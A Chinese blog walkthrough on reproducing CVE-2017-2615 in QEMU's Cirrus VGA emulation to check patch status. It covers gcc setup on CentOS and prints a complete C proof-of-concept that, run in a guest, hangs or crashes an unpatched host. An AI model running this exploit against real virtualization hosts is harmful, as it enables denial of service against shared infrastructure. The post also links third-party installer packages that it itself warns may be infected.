CVE-2017-2615 cirrus vga 漏洞POC及复习过程
另提供CVE-2017-2615漏洞成因分析文章:http://coao.co/2972.html
---------------------------------------------------------------------------------------------------
首先应该在linux下执行命: lspci,如果vga型号为cirrus会存在问题
首先连接自己的linux服务器然后查看是否支持gcc编译环境。
如果输入gcc 提示:-bash: line 9: gcc : command not found 则表示没有gcc环境,就需要安装gcc环境。
安装gcc编译环境
CentOS6.5 安装gcc 可参考http://blog.csdn.net/lichen_net/article/details/70211204
CentOS6.3 安装gcc 可参考http://blog.csdn.net/vah101/article/details/17677451
安装包 链接: https://pan.baidu.com/s/1qZlkfnA 密码: mtqr
以CentOS6.5 安装gcc示例操作
首先应查看操作系统及版本。命令:uname -a
Linux xxxx.com 2.6.32-504.23.4.el6.centos.plus.x86_64 #1 SMP Wed Jun 10 13:09:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
这里操作系统为64位操作系统。
然后查看操作系统及版本。命令:lsb_release -a
LSB Version: :base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch
Distributor ID: CentOS
Description: CentOS release 6.5 (Final)
Release: 6.5
Codename: Final
这里是: CentOS release 6.5 它对应的gcc版本为4.7,为什么对应的版本是4.7如下图:
这里安装gcc时又提示缺少其他相关文件。如下图:
因为安装其他文件可能还会缺少另一些文件上方已经报错提示。这里为了省事网上直接找到了全部相关的安装包。(这里需要注意,小心别人的安装包可能捆绑病毒)如图:
安装成功就是利用gcc编译poc然后执行了。POC代码如下:
##########################################################33 /* * CVE-2017-2615 PoC * * Qiang Li of the Gear Team, Qihoo 360 Inc. * * #gcc poc.c -o poc * #./poc * */ #include <sys/io.h> #include <stdio.h> void write_sr(int idx,int val) { outb(idx,0x3c4); outb(val,0x3c5); } void write_gr(int idx,int val) { outb(idx,0x3ce); outb(val,0x3cf); } int main() { iopl(3); write_sr(0x07,1); write_gr(0x31,0x80); write_gr(0x26,0xff); write_gr(0x27,0xff); write_gr(0x24,1); write_gr(0x20,0xff); write_gr(0x21,0xff); write_gr(0x22,0x0); write_gr(0x23,0x0); write_gr(0x28,0); write_gr(0x29,0); write_gr(0x2a,0); write_gr(0x2c,0xff); write_gr(0x2d,0xff); write_gr(0x2e,0xff); write_gr(0x30,1); write_gr(0x2a,0); return 0; }
##################################333#
复制所有代码中的内容,在linux下新建一个poc.c的文件,把上面的代码粘帖进去。
然后执行命令(编译poc脚本): gcc poc.c -o poc
然后再次执行编译后的poc: ./poc
执行后这台虚拟机的主机控制台查看,执行命令的虚拟机的状态,如果异常就是没打补丁。
这里我经过多次执行poc,大概在3遍以上,没打补丁和打补丁的区别就如下图:
存在此漏洞执行POC后的 返回“The semaphore timeout period has expired.”,系统存在一定延时,然后死机,无法响应
如下图
此时通过gdb调试可以宿主机通过gdb调试(gdb -p PID),可以看到触发了段异常,具体响应如下图:
对于修复过的设备多次执行均不会存在上述现象
最后文章引用了多处内容。引用内容地址如下:
poc为360团队贡献,引用地址:http://seclists.org/oss-sec/2017/q1/469